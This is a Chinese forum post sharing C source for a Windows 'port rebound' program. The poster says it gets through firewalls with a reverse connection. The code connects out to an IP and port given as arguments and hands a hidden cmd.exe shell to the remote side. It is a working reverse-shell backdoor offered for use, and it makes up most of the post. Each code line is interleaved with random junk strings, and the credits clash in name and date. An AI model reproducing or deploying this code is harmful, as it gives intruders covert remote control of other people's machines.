社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 7159阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jGk7=}nw  
bjM-Hd/K  
/* ============================== 8eOl@}bV  
Rebound port in Windows NT 'sm[CNzS  
By wind,2006/7 g2[K<  
===============================*/ L0X&03e=e:  
#include ]uBT &  
#include !pd7@FwC  
X0^zw^2W  
#pragma comment(lib,"wsock32.lib") X)FL[RO%q  
_N>wzkJ  
void OutputShell(); [b7it2`dl  
SOCKET sClient; B]'e$uyL7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Tjd&^m  
[=XZza.z  
void main(int argc,char **argv) T5 K-gz7A  
{ K%Usjezv&  
WSADATA stWsaData; )HJK '@  
int nRet; + 6x"trC  
SOCKADDR_IN stSaiClient,stSaiServer; GAg.p?Sq  
> [Xm|A#  
if(argc != 3) 2. StG(Y!  
{ WafdE  
printf("Useage:\n\rRebound DestIP DestPort\n"); H "Q(2I  
return; 3mpP| b"  
} { M`  
L\QQjI{  
WSAStartup(MAKEWORD(2,2),&stWsaData); qJ\X~5{  
Z 7`5x  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8pX f T%]  
mBw2  
stSaiClient.sin_family = AF_INET; 1zdYBb6;j  
stSaiClient.sin_port = htons(0); \1=T sU&^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rER~P\-  
f2uZK!:m  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k TFz_*6.  
{ B"~U<6s0  
printf("Bind Socket Failed!\n"); PLO\L W  
return; "F&Tnhh4  
} LTg?5GwD\j  
\ua9thOG  
stSaiServer.sin_family = AF_INET; *Zc9yZl2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Rb{+Ki  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5/Ydv RB67  
aF D="Zh  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 48lzOG  
{ s ;48v  
printf("Connect Error!"); eA`]K alH  
return; u=(H#o<#  
} t@X M /=d  
OutputShell(); 3wV86tH%  
} TAXd,z N  
F?!FD>L{`  
void OutputShell() BfX%|CWh  
{ 0Wa#lkn$I  
char szBuff[1024]; 2}D,df'W4  
SECURITY_ATTRIBUTES stSecurityAttributes; ].LJt['%8  
OSVERSIONINFO stOsversionInfo; f&K}IM8& #  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q]!6uA$A  
STARTUPINFO stStartupInfo; cL6 6gOEL  
char *szShell; 5r'=O2AZX  
PROCESS_INFORMATION stProcessInformation; Sq?,C&LsA  
unsigned long lBytesRead; EJO.'vQ  
g* %bzfk=|  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y3D3.T6Q  
D5=C^`$2  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fW(;   
stSecurityAttributes.lpSecurityDescriptor = 0; *zJD$+Fo  
stSecurityAttributes.bInheritHandle = TRUE; 0rV/qMo;K  
2q+la|1Cr  
DKR<W.!*t  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZmNZS0j  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4"LPJX)Q  
baqn7k"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); N[>:@h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "_t4F4z  
stStartupInfo.wShowWindow = SW_HIDE; X8 8F>1}  
stStartupInfo.hStdInput = hReadPipe; 8a7YHUL<3i  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; QT_Srw@  
[70Y,,w  
GetVersionEx(&stOsversionInfo); ^n t~-%  
C2NzP& FD  
switch(stOsversionInfo.dwPlatformId) {>S4 #^@}  
{ SzRL}}I  
case 1: 2%bhW,?I  
szShell = "command.com"; S<*';{5~  
break; '=$TyiU  
default: MdLj,1_T  
szShell = "cmd.exe"; HP#ki!'  
break; HTw#U2A;+  
} bS,etd  
;.\g-`jb  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r8sdzz%  
yz2(_@R  
send(sClient,szMsg,77,0); ? %93b ,7  
while(1) 9-B@GFB;8  
{ D^N[=q99&e  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);  X@cSP7b  
if(lBytesRead) ^Wf S\M`  
{ g/x_m.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  2mQOj$Lv  
send(sClient,szBuff,lBytesRead,0); )ukF3;Gt  
} U8E0~[y'  
else *jGPGnSo  
{ (yfXMp,x  
lBytesRead=recv(sClient,szBuff,1024,0); ]XY0c6 <  
if(lBytesRead<=0) break; Kf|0*c  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (s&ORoVGn  
} g083J}08  
} ^mAJ[^%  
_'&k#Q  
return; 2,+d|1(4o  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录 或 注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八